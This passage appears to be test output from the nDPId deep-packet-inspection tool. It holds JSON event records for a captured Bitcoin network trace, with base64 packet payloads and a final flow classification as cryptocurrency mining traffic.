AAAAAAAAD\/\/xj61PIgjcCKkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/xj7dOsgjQOckE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/xj7dS4gjSWPkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/xj72bIgjYyPkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/yMLuIwgjemUkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/yZs+oIgjWigkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/yZuBrsgjROJkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/yZwojggjQGkkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/yZ9KGIgjc6TkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/ymRaGogjcmVkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/ymxG\/YgjZmUkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/ymxHzogjT+kkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/ynUDiwgjfaSkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/ynobxAgjYaUkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/y4AHE0gjcGKkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/y4pYkYgjQWJkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/y47ECogjZqUkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/y6EvxIgjWSUkE0BAAAAAAAAAAAAAAAAAAA="} +02463{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328420,"pkt_ts_usec":217589,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ACNshovhACPrIpS0CABFAAXcJZZAAHYGFxFKWbXlwKgBjiCN2DSvnFVPnCBEVYAQAQNjMAAAAQEICgNMJH0nMu43AAAA\/\/8ukibRII10o5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8uk5TZII22l5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8yACsPII1PnZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8yLoClII0ziZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8yWoVhII1cjJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/86CS+PII0eppBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/86YDVuII3LoJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/87XxLxII0fo5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/87p46rII0pj5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/87p8JfII0jo5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/88MGJ0II3OpJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/888G+pII1QlZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/888SllII1IopBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/888dkcII3flJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/888vMpII0SppBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8+H9QaII1ymJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8+H9clII0GipBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8+MMoCII39n5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8+MdfzII29lJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8+UzM7II34kZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8+V8ByII23o5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8+m+muII00jpBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8+wPIJII3epJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8+3UtFII15lZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8+5MPqII2jpJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8+7F4ZII1zkpBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8++M+pII1nl5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8\/ppzxII2flZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8\/+SbrII10nJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9AD1HsII3hiJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9AFm3WII2kpZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9AGaDwII2dl5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9ANYDoII3gkJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9ANanSII2DnpBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9ARnQrII3hlJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9AbsApII2Jn5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9AbtvCII0YkJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9AeVaEII05kZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9AhkYvII34h5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9AkUKVII2fkJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9AlwETII3SipBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9AvTQkII2MiJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9AzkJiII1JiJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9A0BzSII0hlpBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9A7rdDII1SopBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9BG1DZII1SipBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9BHD11II1Jj5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9BH9CxII2al5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9BIEc="} +02461{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328420,"pkt_ts_usec":217594,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ACNshovhACPrIpS0CABFAAXcJZdAAHYGFxBKWbXlwKgBjiCN2DSvnFr3nCBEVYAQAQMrCAAAAQEICgNMJH0nMu43AiCNRJmQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QSBQTSCNVJ6QTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QSJ99yCNGYmQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QShGvSCN6oqQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QSiSJiCNSZKQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QVxgzCCNbpyQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QV+LsCCN7ZmQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QW9CAiCNyqWQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QgiYeSCNnIiQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QhmCxiCNq6KQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QhvK8yCNh4qQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Qh4LSCCN9I+QTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QimALCCNvY6QTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Qi1HliCNGYqQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Qjz37SCNXZeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QkFbBSCNJI2QTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QkMmwCCN0ImQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QkSeQSCNlpeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QlPN6iCN8IiQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QlcEmyCN2oqQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Ql3gCiCN14mQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QmyMXiCNCpaQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Qm7WKiCNXJOQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QnJCKCCN8JGQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QnpI\/yCNG6WQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QoJlHSCNhKKQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QoeiWSCN24yQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QopvcyCNUYyQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QpKqFiCNmJKQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QqY8DCCNu5GQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Qqok+iCN+ZGQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Qqxp6SCNQKGQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QrNeFCCNjZiQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QrR+5SCNxp+QTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Qr2QySCNBKSQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Qr7pTyCNNpOQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Qs8ztiCNG6CQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QtcoCiCN2oyQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Qt+LJyCNrZuQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QuEIPiCNAIyQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QurHUiCNOqWQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QwYLqCCNYI+QTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QwgveiCNmouQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QwtF9CCNuZqQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Qxb2yyCN04iQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/QzOFKiCNroqQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Qz217iCN9pKQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Qz\/FZCCNnJWQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Q0SQbiCNrZCQTQE="} +02462{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328420,"pkt_ts_usec":217722,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ACNshovhACPrIpS0CABFAAXcJZhAAHYGFw9KWbXlwKgBjiCN2DSvnGCfnCBEVYAQAQNezgAAAQEICgNMJH0nMu43AAAAAAAAAAAAAAAAAAAAAAD\/\/0NWXB0gjeyXkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0NWmMMgjSekkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0OLLbQgjTOZkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0OLrcwgjY6PkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0OYOmIgjf2SkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0Oe4sogjSKVkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0OhVnIgjT+VkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0OoiBwgjZWPkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0OpAY0gjaeTkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0Oq3nYgjSKUkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0OrIXggjcGdkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0OrhTkgjeaQkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0OrwCEgjfKRkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0OsEJYgjfuQkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0OszDUgjXWQkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0Os+REgjb2SkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0OvR44gjWmMkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0OwLEggjR2WkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0OwxGsgjTeJkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0OxIf4gjaKjkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0O4dIAgjVCPkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0PBvuMgjWeRkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0PFVDUgjWWJkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0PMAZAgjRqVkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0PTQecgjVKWkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0PUCpggje2NkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0PcGPggjQuRkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0PcdGQgjQaSkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0PiipEgjTKYkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0Pp1xwgjUmqkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0PqmGcgjaqMkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0PxmB4gjRmUkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0P5xC8gjT6NkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0P\/LfYgjY+akE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0P\/N8Agjb2bkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0QEPaUgjcyZkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0QFbBMgjUGZkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0QGW7AgjYyUkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0QHrWggjdmJkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0QMFxIgjSWPkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0QPWWwgjUGKkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0QhDuggjf2ZkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0QkU6cgjRWgkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0QlQeIgjfmSkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0QrViwgjXuMkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0Q\/ZGYgjbWSkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0REYVogjeCckE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0REyYIgjfaJkE0BAAAAAAAAAAA="} +02463{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328420,"pkt_ts_usec":219537,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ACNshovhACPrIpS0CABFAAXcJZlAAHYGFw5KWbXlwKgBjiCN2DSvnGZHnCBEVYAQAQPGsQAAAQEICgNMJH0nMu43AAAAAAAAAAAA\/\/9EUlsgII3NlJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9EZUKiII0dnpBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9EZ83+II3qkZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9EZ\/ugII0wiJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9Ea+XvII1UlpBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9Eb8nfII0bnJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9EcL2vII0apZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9Ec6ibII0JnZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9Edfw7II2rj5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9EeW4lII1UkZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9EkEDnII2YlJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9EkctyII04jJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9Ek9NnII2Ck5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9ElboGII0JkJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9ElsRIII2UlZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9ErNkvII11kJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9EvBoTII0umZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9EvTOmII2TkZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9EvwDMII13npBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9EygJ\/II0KppBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9EyhVaII3zi5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9EzRTWII2nkJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9E4PZAII0tm5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9E5LjEII3GlpBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9E5V5RII1gipBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9E6HgVII2ro5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9FBIiVII2LlZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9FHHXiII14pZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9FPGerII3woJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9FPoMMII15n5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9FRm9SII0ekJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9FRu8OII1IipBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9FTQiCII0zi5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9FbX8sII1ApJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9FbaoiII0Dl5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9FcEAQII1+opBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9Fcn4tII1ijpBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9Fk8JiII2gj5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9Fl\/cUII2zkZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9FneJLII1Go5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9FnhluII3qjpBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9FoFR\/II33jJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9Fpf6NII2unpBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9FqYauII12ipBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9FqZ5yII0Wj5BNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9FrNQzII1liZBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9FsKZBII01lJBNAQAAAAAAAAAAAAAAAAAAAAAA\/\/9FslpSII2ViJBNAQAAAAAAAAAAAAAAAAAAAAA="} +02463{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328420,"pkt_ts_usec":255873,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ACNshovhACPrIpS0CABFAAXcJoFAAHYGFiZKWbXlwKgBjiCN2DSvnGvvnCBEVYAQAQO9OAAAAQEICgNMJIQnMu43AP\/\/RbQFESCNTZyQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RbTHGiCNcqWQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RbeT7CCNVZKQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Rc1BOSCNAYyQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RdBPbiCN9JqQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/ReV4diCNeZuQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Rec4xSCNy4+QTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RetVgyCNq5SQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RfORpCCNlpyQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RfhQOCCN85qQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RfmKviCNPI+QTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RhhpBCCN4IuQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RinN9CCNDKaQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RjEcOSCN8piQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RjRLzyCNeJiQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RjzAbyCN8qKQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RkKd4CCNBJWQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Rkin4yCNUpOQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RklpGiCNnZeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RlFrGyCNeJCQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RlhSziCNspGQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RllZBiCNJoyQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Rll68SCNwqOQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Rlm7USCNBqaQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RmJd0yCNf5uQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RnF9hyCN5ZWQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RnQDpCCN76CQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RnRKOiCNAo6QTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RnxDOCCNYZyQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RoAF\/yCNB4mQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Ro3A3iCNSpmQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RqlXtSCN\/Y+QTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Rqv90iCNgqCQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Rrd4+SCNRYqQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RruWayCN+JGQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Rrx0piCNZpWQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Rr2AsyCNxZKQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Rr6n+iCN2JiQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RusWxiCNRp6QTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RvFKJyCNZomQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RvtA0CCNMpeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RwO9FCCNAaCQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Rw4BuiCNqqOQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RyBS0yCNeI6QTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RyGW8CCNEaWQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RyMYNSCNA6aQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RyO3HyCN8Z+QTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RyWoWiCNEIyQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/RyqyTCA="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":201,"source":"bitcoin.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1301328472925,"flow_last_seen":0,"flow_tot_l4_data_len":137,"flow_min_l4_data_len":137,"flow_max_l4_data_len":137,"flow_avg_l4_data_len":137,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.142","dst_ip":"66.68.83.22","src_port":55383,"dst_port":8333,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00573{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":201,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328472,"pkt_ts_usec":925065,"pkt_caplen":171,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":171,"pkt_l4_len":137,"pkt":"ACPrIpS0ACNshovhCABFAACde+1AAEAGZt3AqAGOQkRTFthXII0tj7Vf9ZidkYAY\/\/+IsAAAAQEICicy8EYAAAAA+b602XZlcnNpb24AAAAAAFUAAAABfQAAAQAAAAAAAABYspBNAAAAAAEAAAAAAAAAAAAAAAAAAAAAAP\/\/QkRTFiCNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8mYIQeII21Dgd4gTLgpgDgvgEA"} +00572{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":202,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328472,"pkt_ts_usec":987383,"pkt_caplen":171,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":171,"pkt_l4_len":137,"pkt":"ACNshovhACPrIpS0CABFAACdMqtAAG8GgR9CRFMWwKgBjiCN2Ff1mJ2RLY+1yIAY\/5aM3QAAAQEICgBK7W0nMvBG+b602XZlcnNpb24AAAAAAFUAAACcfAAAAQAAAAAAAABZspBNAAAAAAEAAAAAAAAAAAAAAAAAAAAAAP\/\/JmCEHthXAQAAAAAAAAAAAAAAAAAAAAAA\/\/9CRFMWII0z3Rs+AfeDdwAHwwEA"} +00452{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":203,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328473,"pkt_ts_usec":77893,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ACNshovhACPrIpS0CABFAABIMqxAAG8GgXNCRFMWwKgBjiCN2Ff1mJ36LY+1yIAY\/5avrAAAAQEICgBK7W4nMvBG+b602XZlcmFjawAAAAAAAAAAAAA="} +00511{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":205,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328487,"pkt_ts_usec":120277,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"ACNshovhACPrIpS0CABFAABxMvRAAG8GgQJCRFMWwKgBjiCN2Ff1mJ4OLY+1yIAY\/5YyzAAAAQEICgBK7fonMvBH+b602WludgAAAAAAAAAAACUAAAAXvAGWAQEAAAAYqnCtA4JeCfSWUZFYsh6sAyMBtBHVR6Y5dbVZJO1sMQ=="} +00511{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":208,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328526,"pkt_ts_usec":763444,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"ACNshovhACPrIpS0CABFAABxM2VAAG8GgJFCRFMWwKgBjiCN2Ff1mJ5LLY+1yIAY\/5bHMAAAAQEICgBK74cnMvDT+b602WludgAAAAAAAAAAACUAAAAOAWk4AQEAAACmU2ocFfjbk6bwRfCWT0dV1t0G5OkxndgzFqeVZZtzHw=="} +00512{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":215,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328538,"pkt_ts_usec":215424,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"ACNshovhACPrIpS0CABFAABxM+RAAG8GgBJCRFMWwKgBjiCN2Ff1mJ6ILY+1yIAY\/5bQbwAAAQEICgBK7\/onMvJg+b602WludgAAAAAAAAAAACUAAABr1PSfAQIAAAACQk0EsEdX9pnaln3xHefyXv4xWPTxfPvJjgAAAAAAAA=="} +00526{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":216,"source":"bitcoin.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":19,"flow_first_seen":1301327937725,"flow_last_seen":1301327939000,"flow_tot_l4_data_len":22798,"flow_min_l4_data_len":52,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1199,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.142","dst_ip":"188.165.213.169","src_port":55317,"dst_port":8333,"l4_proto":"tcp","ndpi": {"proto":"Mining","breed":"Unsafe","category":"Mining"}} 